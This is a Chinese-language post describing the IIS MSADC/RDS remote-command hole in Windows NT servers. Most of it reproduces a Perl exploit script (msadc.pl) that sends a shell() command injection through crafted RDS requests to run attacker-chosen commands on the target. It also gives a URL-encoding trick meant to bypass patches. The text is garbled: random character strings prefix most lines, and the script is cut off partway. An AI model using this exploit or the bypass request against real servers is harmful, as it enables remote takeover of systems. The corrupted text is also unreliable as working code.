IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
_enS_R [a2Q ^ab 涉及程序:
S4!}7NOh Microsoft NT server
ZR|n\. q Xj]O3
mm 描述:
^dP]3D1
@ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
enB2-)<K tsys</E& 详细:
EA=EcUf' 如果你没有时间读详细内容的话,就删除:
y=k!>Y|E c:\Program Files\Common Files\System\Msadc\msadcs.dll
~z$+uK 有关的安全问题就没有了。
dZ;rn!dg> R GC DC*\ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
$?M$^ -(e U+7!Vpq 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
qQ^bUpk0 关于利用ODBC远程漏洞的描述,请参看:
%;-r-> j@778fvM\t http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm u[b0MNE~ FXO{i:Zo 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
RuBL_Vi http://www.microsoft.com/security/bulletins/MS99-025faq.asp JXKo zy41 J=7<dEm& 这里不再论述。
C[2LP$6*/ 1_RN*M+# 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
&O;'?/4
S a&)4Dv0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
wU(N<9 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
&br_opNi biy[h3b LvbS") #将下面这段保存为txt文件,然后: "perl -x 文件名"
/}&@1 MgG_D6tDM #!perl
6eq`/~# #
v3Xt<I=4y # MSADC/RDS 'usage' (aka exploit) script
jQRl-[n #
W;y ,Xs # by rain.forest.puppy
Zzea #
j`LvS # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
(8d"G9R( # beta test and find errors!
p({)ZU3 |\] _u 3 use Socket; use Getopt::Std;
O$$$1VHYo getopts("e:vd:h:XR", \%args);
YdiXj |k+ +E8}5pDt print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
}\wTV*n`X [>xGynU0 if (!defined $args{h} && !defined $args{R}) {
ppXt8G3%x print qq~
* u{CnH Usage: msadc.pl -h <host> { -d <delay> -X -v }
9!UFLZR -h <host> = host you want to scan (ip or domain)
y+K21(z. -d <seconds> = delay between calls, default 1 second
MsLQ'9%Au -X = dump Index Server path table, if available
l!9G -v = verbose
u[yUUYe -e = external dictionary file for step 5
zm`^=cV zyF[I6Gs Or a -R will resume a command session
n3LCQ:]Tf .>bvI1 ~; exit;}
=sa bJsgL -Yf pfNt $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
tW7*(D if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Fm,}sP"Qx if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
`Z!NOC if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6yRxb( $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
r-SQk>Y} if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
q9mYhT/Im ee5QZ, if (!defined $args{R}){ $ret = &has_msadc;
xs ^$fn\ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
#w<:H1,4 is,r: print "Please type the NT commandline you want to run (cmd /c assumed):\n"
glvtumv . "cmd /c ";
zZ\2fKrpg $in=<STDIN>; chomp $in;
;q6FdS $command="cmd /c " . $in ;
#7~i.8L (HZzA7eph if (defined $args{R}) {&load; exit;}
eE'2B."F 3"OD" print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
WF{rrU: &try_btcustmr;
V/jEMJNks ]/y&5X print "\nStep 2: Trying to make our own DSN...";
L>qLl_. &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*0aU(E# e2?7>? print "\nStep 3: Trying known DSNs...";
,:!dqonn &known_dsn;
k!lz_Y 1Lf:TQB print "\nStep 4: Trying known .mdbs...";
%TA3o71 &known_mdb;
b6k'`vLA ;&Oma`Ec if (defined $args{e}){
-$]Tn#`Fb print "\nStep 5: Trying dictionary of DSN names...";
JRC+>'}Xj &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
B0^0d*8t|@ uW8LG\Z>D5 print "Sorry Charley...maybe next time?\n";
x@I(G " exit;
wM;9plYlw0 `.FvuwP ##############################################################################
TuBl9 p'6 T`;>Kq:s sub sendraw { # ripped and modded from whisker
}lk_Oe1 sleep($delay); # it's a DoS on the server! At least on mine...
mGXjSWsd my ($pstr)=@_;
/l,V0+p socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'wd-!aZAd die("Socket problems\n");
J/j?;qx]j if(connect(S,pack "SnA4x8",2,80,$target)){
wPn#>\/L select(S); $|=1;
_d'x6$Jg print $pstr; my @in=<S>;
8gv\` select(STDOUT); close(S);
O6^>L0' return @in;
A3p@hQl } else { die("Can't connect...\n"); }}
_91g=pM dooS|Mq ##############################################################################
>5&'_ /3!KfG sub make_header { # make the HTTP request
1@)8E`u my $msadc=<<EOT
jB*%nB*x POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
?*~W User-Agent: ACTIVEDATA
BpL,<r, Host: $ip
*v[WJ"8@ Content-Length: $clen
ISI\<qx Connection: Keep-Alive
!_VKJZuH !e?GS"L~ ADCClientVersion:01.06
h&+dIk\[3 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
[a;U'v* y]B?{m``6 --!ADM!ROX!YOUR!WORLD!
:=BFx"Y Content-Type: application/x-varg
njveZav Content-Length: $reqlen
hHsCr@i V]cD^Fqp EOT
;Ft_ Xiq ; $msadc=~s/\n/\r\n/g;
M-3kF" return $msadc;}
c
rPEr VLuhURI) ##############################################################################
31\l0Jg s
l|n]#) sub make_req { # make the RDS request
|*5K fxq my ($switch, $p1, $p2)=@_;
%|$h<~ my $req=""; my $t1, $t2, $query, $dsn;
tCAh?nR Y<0;;tVf4U if ($switch==1){ # this is the btcustmr.mdb query
79|=y7i# $query="Select * from Customers where City=" . make_shell();
FUic7> $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
")MjR1p $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
eAh~` zdFO&YHTw elsif ($switch==2){ # this is general make table query
=&RpW7] $query="create table AZZ (B int, C varchar(10))";
;uj&j1 $dsn="$p1";}
`iYiAc duCxYhh| elsif ($switch==3){ # this is general exploit table query
_ KBN $query="select * from AZZ where C=" . make_shell();
BbEWa $dsn="$p1";}
n4; r>4HF"Nm elsif ($switch==4){ # attempt to hork file info from index server
%UDz4?zx $query="select path from scope()";
@> n7 $dsn="Provider=MSIDXS;";}
A)9OkLrc od=%8z elsif ($switch==5){ # bad query
2Wwzcvs@ $query="select";
.?T,>#R $dsn="$p1";}
K.s\xA5`_ P;_}nbB $t1= make_unicode($query);
\$GM4:R D $t2= make_unicode($dsn);
ZbVo<p5* ] $req = "\x02\x00\x03\x00";
s8L=:hiSf) $req.= "\x08\x00" . pack ("S1", length($t1));
dU`kJ,=Z $req.= "\x00\x00" . $t1 ;
q`1"]gy. $req.= "\x08\x00" . pack ("S1", length($t2));
GCaiogiBg $req.= "\x00\x00" . $t2 ;
0c6b_%Rd $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
oasp/Y.p return $req;}
2d),*Cvf !C13E lf ##############################################################################
A[W3.$s {k
BHZ$/ sub make_shell { # this makes the shell() statement
D d['e return "'|shell(\"$command\")|'";}
HK_Vk\e I'6wh+ ##############################################################################
r<< ]41 \ZNUt$\ sub make_unicode { # quick little function to convert to unicode
F|mppY'<J my ($in)=@_; my $out;
&CP]+ at for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
2F5*C return $out;}
#aHPB# =CBY_ ##############################################################################
1jHugss9| i2bkgyzB. sub rdo_success { # checks for RDO return success (this is kludge)
jEK{QOq0 my (@in) = @_; my $base=content_start(@in);
bhk:Szqz if($in[$base]=~/multipart\/mixed/){
i|N%dl+T= return 1 if( $in[$base+10]=~/^\x09\x00/ );}
iO$Z?Dyg9 return 0;}
\%],pZsA ~ -hy`Np ##############################################################################
HNXMM || p>O sub make_dsn { # this makes a DSN for us
Gl am(V1 my @drives=("c","d","e","f");
]2zzY::Sd= print "\nMaking DSN: ";
9:\#GOg foreach $drive (@drives) {
@%"+;D print "$drive: ";
yj<j>JtN my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
S/?!ESW6 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
V^S` d8? . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
i!yu%>:M $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
D MzDV _ return 0 if $2 eq "404"; # not found/doesn't exist
,ma4bqRMc if($2 eq "200") {
[]L
yu foreach $line (@results) {
E]MyP=g$ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
NzBX2 } return 0;}
[D$%LR X n0
q$/Y. ##############################################################################
b^s>yN :Vnus
@#r sub verify_exists {
B5R/GV my ($page)=@_;
XYrZI/R my @results=sendraw("GET $page HTTP/1.0\n\n");
KtMD? return $results[0];}
sUe<21: &YpWfY&V